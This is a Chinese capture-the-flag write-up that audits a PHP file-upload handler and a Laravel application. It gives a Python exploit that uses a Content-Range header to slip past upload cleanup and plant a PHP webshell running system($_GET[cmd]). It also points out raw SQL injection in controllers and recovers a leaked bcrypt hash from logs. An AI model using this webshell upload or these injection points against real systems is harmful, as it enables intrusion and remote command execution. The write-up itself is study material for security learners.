常见文件上传都会有$_FILES、move_uploaded_file
等关键内容,所以直接全局搜索这类函数寻找调用。
$_FILES(upload.php: 1090行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
protected function get_upload_data($id) {
return @$_FILES[$id];
}
//
if ($uploaded_file && is_uploaded_file($uploaded_file) && $content_range) {
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}
|
处理上传文件(upload.php: 1024行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
if ($uploaded_file && is_uploaded_file($uploaded_file) && $content_range) {
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
file_put_contents(
$file_path,
fopen($this->options['input_stream'], 'r'),
$append_file ? FILE_APPEND : 0
);
}
|
除了处理上传的函数,还定义了读文件函数(upload.php: 1066行
),可能存在任意文件读取,等需要用到的时候再说(事实证明没用到
很明显,get_upload_data
函数就是负责传回上传文件的信息数组,那我们先本地传文件尝试一下,将index.php修改为(其他方法也行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<!DOCTYPE html>
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<!-- name设置为数组格式,通过1288行 is_array($upload['tmp_name']) 的判断 -->
<input type="file" name="files[]" ><br>
<input type="submit" name="submit" value="提交">
</form>
<p>
<?php
require('upload.php');
$upload_handler = new UploadHandler();
?>
</p>
</body>
</html>
|
上传过程倒是很顺利,但是files目录为什么没有上传的文件呢?
将目光聚焦于1056行的代码
1
2
3
4
|
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = $this->get_error_message('abort');
}
|
可以看到这里使用了unlink函数删除上传的文件,如果我们不想它执行的话肯定是要跳过这个条件判断,即让$content_range
有值。
那这个变量是什么呢?跳到1281行
1
2
3
|
$content_range_header = $this->get_server_var('HTTP_CONTENT_RANGE'); // $_SERVER['HTTP_CONTENT_RANGE']
$content_range = $content_range_header ?
preg_split('/[^0-9]+/', $content_range_header) : null;
|
$content_range
的值来自$_SERVER['HTTP_CONTENT_RANGE']
中有数字的内容,那这玩意又是什么呢?可以看Content-Range和HTTP请求范围两篇文章了解(解释不了
简单来说就是在header添加一个Content-Range
设置一下请求范围,抓包添加传文件,啪的一下很快啊,文件就成功上传了,而且还是直接传的php哟😎
exp
1
2
3
4
5
6
|
import requests
import io
target = "http://d33bd228-368f-4581-93d1-9d54451a30bf.node3.buuoj.cn/"
headers = { "Content-Range": "bytes 0-1023/1070" }
files = {"files[]": ("tyskill.php", io.BytesIO(b"<?php echo('PWN!!');system($_GET[cmd]);?>"), "image/png")}
requests.post(url=target, files=files, headers=headers)
|
下源码发现是laravel框架,版本号是7.30.0,但是关键的.env
文件没有给,且config目录里给的信息也不太全,搭环境的成本太大了,还是硬上吧。
先获取路由信息:
routes/api.php
1
|
Route::get('check/{id}','CheckController@index')->where('id', '[0-9]+');
|
routes/web.php
1
2
3
|
Route::get('/', 'HomeController@index')->name('home');
Route::post('/sendmessage/{postid}','HomeController@sendme')->where('postid', '[0-9]+');
Route::get('/viewed/{id}','HomeController@viewed')->where('id','[0-9]+');
|
api先不管,web.php
三个路由都用到了控制器HomeController,去app/Http/Controllers/HomeController.php
看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
return view('home');
}
public function sendme($postid,Request $request)
{
$message = $request->input('message');
$temp=$request->input('temp') ?? "nop";
$insert = DB::table('sendme')->insert([
[
'number' => $postid,
'content' => $message,
'temp'=>$temp
]
]);
if($insert){
echo "<script>alert('send success');</script>";
}
}
public function viewed($id)
{
$viewsd = DB::select("select * from sendme where number = '$id'");
return view('meview',['views'=>$viewsd]);
}
}
|
需要经过鉴权,而我们又不知道email和password,所以只能从api.php
提供的check路由入手,查看CheckController控制器了解路由功能
1
2
3
4
5
6
7
8
|
class CheckController extends Controller
{
public function index($id)
{
$users = DB::select("select * from users where id = $id");
return $users;
}
}
|
提供了用户查询功能,那么登陆用到的账号密码就可以从这里获取。
参考https://laravelacademy.org/post/21970访问/api/check/{id}
进行爆破,但是laravel限制api请求频率就很难受。。。所以从另一个方面开搞,laravel.log保存操作日志,从中可以找到"userId":1639
,成功获得用户信息
1
|
{"id":1639,"name":"adminzhtt1m","email":"adminzhtt1@aa.com","email_verified_at":null,"password":"$2y$10$RSqYBW6k6gyBpOr6ECDZhOiC026moyKFSvA5OV2DFqUbgZonWi2gG","remember_token":null,"created_at":"2020-12-17 14:55:51","updated_at":"2020-12-17 14:55:51"}
|
但是password是加密过的,所以拼字典的时候到了,密码是admin888
登陆进去后通过send按钮先发一发,获得token,复制下来另外POST传sendmessage/{postid}
,否则会因为laravel的安全机制报419错误。不过后面我sendmessage过去报500,本地试了post是正常的,所以错误应该是发生在数据库insert阶段,也不知道是我的问题还是环境的问题,还是等等有没有师傅做出来吧。。。